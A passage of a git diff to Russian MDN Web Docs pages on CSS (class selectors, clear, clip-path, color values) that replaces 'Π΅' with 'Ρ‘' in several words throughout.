-<p>Π’ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, сСлСкторы ΠΏΠΎ CSS классу находят элСмСнты с Π½ΡƒΠΆΠ½Ρ‹ΠΌ классом. Атрибут класса опрСдСляСтся ΠΊΠ°ΠΊ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список элСмСнтов, ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ΅Π½Β Ρ‚ΠΎΡ‡Π½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΈ класса, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌΡƒΒ Π² сСлСкторС.</p>
+<p>Π’ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, сСлСкторы ΠΏΠΎ CSS классу находят элСмСнты с Π½ΡƒΠΆΠ½Ρ‹ΠΌ классом. Атрибут класса опрСдСляСтся ΠΊΠ°ΠΊ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉΒ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ список элСмСнтов, ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих ΠΏΡƒΠ½ΠΊΡ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ΅Π½Β Ρ‚ΠΎΡ‡Π½ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΈ класса, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌΡƒΒ Π² сСлСкторС.</p>
<h2 id="Syntax" name="Syntax">Бинтаксис</h2>
diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html
index 241ee74c7a..146132dfe3 100644
--- a/files/ru/web/css/clear/index.html
+++ b/files/ru/web/css/clear/index.html
@@ -21,7 +21,7 @@ translation_of: Web/CSS/clear
<p>Поплавки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΊ очисткС, - это Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ ΠΏΠΎΠΏΠ»Π°Π²ΠΊΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈ Ρ‚ΠΎΠΌ ΠΆΠ΅Β <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">контСкстС форматирования Π±Π»ΠΎΠΊΠΎΠ²</a>.Β </p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Если элСмСнт содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠ΅ элСмСнты, Π΅Π³ΠΎ высота сворачиваСтся Π² Π½ΠΈΡ‡Ρ‚ΠΎ. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ всСгда ΠΌΠΎΠ³ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ содСрТал Π² сСбС ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠ΅ элСмСнты, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ°ΠΌΠΎΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ своих Π΄Π΅Ρ‚Π΅ΠΉ. Π­Ρ‚ΠΎ называСтся <strong>clearfix,</strong> ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - это Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ <code>clear</code> Π·Π°ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псСвдоэлСмСнт</a> Π½Π° Π½Π΅ΠΌ.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Если элСмСнт содСрТит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠ΅ элСмСнты, Π΅Π³ΠΎ высота сворачиваСтся Π² Π½ΠΈΡ‡Ρ‚ΠΎ. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ всСгда ΠΌΠΎΠ³ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ содСрТал Π² сСбС ΠΏΠ»Π°Π²Π°ΡŽΡ‰ΠΈΠ΅ элСмСнты, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ°ΠΌΠΎΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ своих Π΄Π΅Ρ‚Π΅ΠΉ. Π­Ρ‚ΠΎ называСтся <strong>clearfix,</strong> ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - это Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ <code>clear</code> Π·Π°ΠΌΠ΅Π½Ρ‘Π½Π½Ρ‹ΠΉ {{cssxref("::after")}} <a href="/en-US/docs/Web/CSS/Pseudo-elements">псСвдоэлСмСнт</a> Π½Π° Π½Π΅ΠΌ.</p>
<pre class="brush: css">#container::after {
content: "";
@@ -224,7 +224,7 @@ p {
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> Β ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° пСрСнос.</div>
<p>{{Compat("css.properties.clear")}}</p>
diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html
index 69fe7f99ed..55a8b1259a 100644
--- a/files/ru/web/css/clip-path/index.html
+++ b/files/ru/web/css/clip-path/index.html
@@ -5,7 +5,7 @@ translation_of: Web/CSS/clip-path
---
<div>{{CSSRef}}{{SeeCompatTable}}</div>
-<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code>Β ΡΠΎΠ·Π΄Π°Π΅Ρ‚Β ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, которая опрСдСляСт какая Ρ‡Π°ΡΡ‚ΡŒ элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ. Π’Π΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ области, Π²ΠΈΠ΄ΠΈΠΌΡ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ части Π²Π½Π΅ области, скрыты. ΠžΠ±Ρ€Π΅Π·Π°Π½Π½Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ - это траСктория, опрСдСляСмая Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ внутрСнняя ссылка, Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ внСшний SVG , Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ Ρ„ΠΈΠ³ΡƒΡ€Π°, такая ΠΊΠ°ΠΊ ΠΊΡ€ΡƒΠ³ (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p>
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <code><strong>clip-path</strong></code>Β ΡΠΎΠ·Π΄Π°Ρ‘Ρ‚Β ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, которая опрСдСляСт какая Ρ‡Π°ΡΡ‚ΡŒ элСмСнта Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ. Π’Π΅ части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ находятся Π²Π½ΡƒΡ‚Ρ€ΠΈ области, Π²ΠΈΠ΄ΠΈΠΌΡ‹, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ части Π²Π½Π΅ области, скрыты. ΠžΠ±Ρ€Π΅Π·Π°Π½Π½Π°Ρ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ - это траСктория, опрСдСляСмая Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ внутрСнняя ссылка, Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ внСшний SVG , Π»ΠΈΠ±ΠΎ ΠΊΠ°ΠΊ Ρ„ΠΈΠ³ΡƒΡ€Π°, такая ΠΊΠ°ΠΊ ΠΊΡ€ΡƒΠ³ (<code><a href="https://developer.mozilla.org/ru/docs/Web/SVG/%D0%AD%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82/circle">circle()</a></code>).</p>
<div class="note">
<p><strong>Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠ°Ρ справка:</strong> Бвойство clip-path Π·Π°ΠΌΠ΅Π½ΠΈΠ»ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅Π΅ свойство {{cssxref("clip")}} .</p>
@@ -456,14 +456,14 @@ svg text.em {
<dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt>
<dd>Ѐункция {{cssxref("&lt;basic-shape&gt;")}}. Π Π°Π·ΠΌΠ΅Ρ€ ΠΈ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ области опрСдСляСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>&lt;geometry-box&gt;</code>. Если гСомСтрия Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°,<code>border-box</code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² качСствС Π±Π»ΠΎΠΊΠ°.</dd>
<dt><code>&lt;geometry-box&gt;</code></dt>
- <dd>Если ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ с <code>&lt;basic-shape&gt;</code>, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт блок для Π±Π°Π·ΠΎΠ²ΠΎΠΉ области. Если Π·Π°Π΄Π°Π½ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, опрСдСляСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±Π»ΠΎΠΊΠ°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡƒΠ³Π»ΠΎΠ² (Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ {{cssxref("border-radius")}}). ГСомСтрия ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
+ <dd>Если ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠΈ с <code>&lt;basic-shape&gt;</code>, это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ опрСдСляСт блок для Π±Π°Π·ΠΎΠ²ΠΎΠΉ области. Если Π·Π°Π΄Π°Π½ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ, опрСдСляСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π±Π»ΠΎΠΊΠ°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΡƒΠ³Π»ΠΎΠ² (Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ {{cssxref("border-radius")}}). ГСомСтрия ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:
<dl>
<dt><code>fill-box</code></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠΉ области.</dd>
<dt><code>stroke-box</code></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ stroke bounding box Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠΉ области.</dd>
<dt><code>view-box</code></dt>
- <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ блиТайший SVG viewport Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{SVGAttr("viewBox")}} ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ для элСмСнта, ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π΅Π³ΠΎΒ SVG viewport, Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ позиционируСтся Π² ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, установлСнной Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ <code>viewBox</code>Β ΠΈ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ значСниям Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>viewBox</code>.​​​​​​​</dd>
+ <dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ блиТайший SVG viewport Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β {{SVGAttr("viewBox")}} ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ для элСмСнта, ΡΠΎΠ·Π΄Π°ΡŽΡ‰Π΅Π³ΠΎΒ SVG viewport, Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ позиционируСтся Π² ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ систСмС ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚, установлСнной Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌΒ <code>viewBox</code>Β ΠΈ ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈ высота Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ° ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ значСниям Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β <code>viewBox</code>.​​​​​​​</dd>
<dt><code>margin-box</code></dt>
<dd>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">margin box</a> Π² качСствС Π±Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</dd>
<dt><code>border-box</code></dt>
diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html
index 08edbe380a..9af9b77755 100644
--- a/files/ru/web/css/color_value/index.html
+++ b/files/ru/web/css/color_value/index.html
@@ -10,7 +10,7 @@ translation_of: Web/CSS/color_value
<p>Π’Β <code>&lt;color&gt;</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π»ΡŽΠ±Ρ‹ΠΌ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… способов can.</p>
<ul>
- <li>ИспользованиС ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ свойства вСдСнного Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>blue</code>Β ΠΈΠ»ΠΈΒ <code>transparent</code>)</li>
+ <li>ИспользованиС ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ свойства вСдённого Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β <code>blue</code>Β ΠΈΠ»ΠΈΒ <code>transparent</code>)</li>
<li>ИспользованиС <a href="https://en.wikipedia.org/wiki/RGB_color_model#Geometric_representation">кубичСской систСмы ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ RGB</a>Β (via the #-hexadecimal or the <code>rgb()</code> and <code>rgba()</code> functional notations)<img alt="ЦвСтовая модСль прСдставлСна Π²ΠΈΠ΄Π΅ ΠΊΡƒΠ±Π°" src="https://en.wikipedia.org/wiki/RGB_color_model#/media/File:RGB_color_solid_cube.png" style="height: 200px; width: 200px;"></li>
<li>ИспользованиС <a href="https://en.wikipedia.org/wiki/HSL_and_HSV">цилиндричСской систСмы ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ HSL</a> (Ρ‡Π΅Ρ€Π΅Π· Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ обозначСния <code>hsl()</code> ΠΈ <code>hsla()</code>)Β </li>
</ul>
@@ -21,7 +21,7 @@ translation_of: Web/CSS/color_value
<h2 id="Бинтаксис">Бинтаксис </h2>
-<p>Для типа Π΄Π°Π½Π½Ρ‹Ρ… задаСтся <code>&lt;color&gt;</code>Β  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
+<p>Для типа Π΄Π°Π½Π½Ρ‹Ρ… задаётся <code>&lt;color&gt;</code>Β  с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> значСния <code>&lt;color&gt;</code>Β Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹, ΠΈΡ… фактичСский внСшний Π²ΠΈΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ (ΠΈΠ½ΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ) ΠΎΡ‚ устройства ΠΊ устройству. Π­Ρ‚ΠΎ связано с Ρ‚Π΅ΠΌ Ρ‡Ρ‚ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ устройств Π½Π΅ ΠΎΡ‚ΠΊΠ°Π»ΠΈΠ±Ρ€ΠΎΠ²Π°Π½Ρ‹, Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΠΈ <a href="https://en.wikipedia.org/wiki/ICC_profile">устройств Π²Ρ‹Π²ΠΎΠ΄Π°</a>.</p>
@@ -29,12 +29,12 @@ translation_of: Web/CSS/color_value
<h3 id="ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_Ρ†Π²Π΅Ρ‚Π°">ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°</h3>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова для Ρ†Π²Π΅Ρ‚Π° - это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>red</code>, <code>blue</code>, <code>black</code> ΠΈΠ»ΠΈ <code>lightseagreen</code>. Π₯отя названия Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΈΡ… ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π°, ΠΎΠ½ΠΈ ΠΏΠΎ сущСству искусствСнны, Π±Π΅Π· строгого обоснования ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΈΠΌΠ΅Π½.Β </p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова для Ρ†Π²Π΅Ρ‚Π° - это ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹ Π±Π΅Π· ΡƒΡ‡Ρ‘Ρ‚Π° рСгистра, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>red</code>, <code>blue</code>, <code>black</code> ΠΈΠ»ΠΈ <code>lightseagreen</code>. Π₯отя названия Π±ΠΎΠ»Π΅Π΅ ΠΈΠ»ΠΈ ΠΌΠ΅Π½Π΅Π΅ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ ΠΈΡ… ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π°, ΠΎΠ½ΠΈ ΠΏΠΎ сущСству искусствСнны, Π±Π΅Π· строгого обоснования ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΈΠΌΠ΅Π½.Β </p>
<p>Π•ΡΡ‚ΡŒ нСсколько прСдостСрСТСний, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слСдуСт ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΈ использовании ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов Ρ†Π²Π΅Ρ‚Π°:</p>
<ul>
- <li><a href="/en-US/docs/Web/HTML">HTML</a> распознаСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ 16 основных Ρ†Π²Π΅Ρ‚ΠΎΠ²Ρ‹Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹Ρ… Π² CSS1, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ для прСобразования нСраспознанных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ (часто Π² ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π°). Π”Ρ€ΡƒΠ³ΠΈΠ΅ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Ρ†Π²Π΅Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² CSS ΠΈ <a href="/en-US/docs/Web/SVG">SVG</a>.</li>
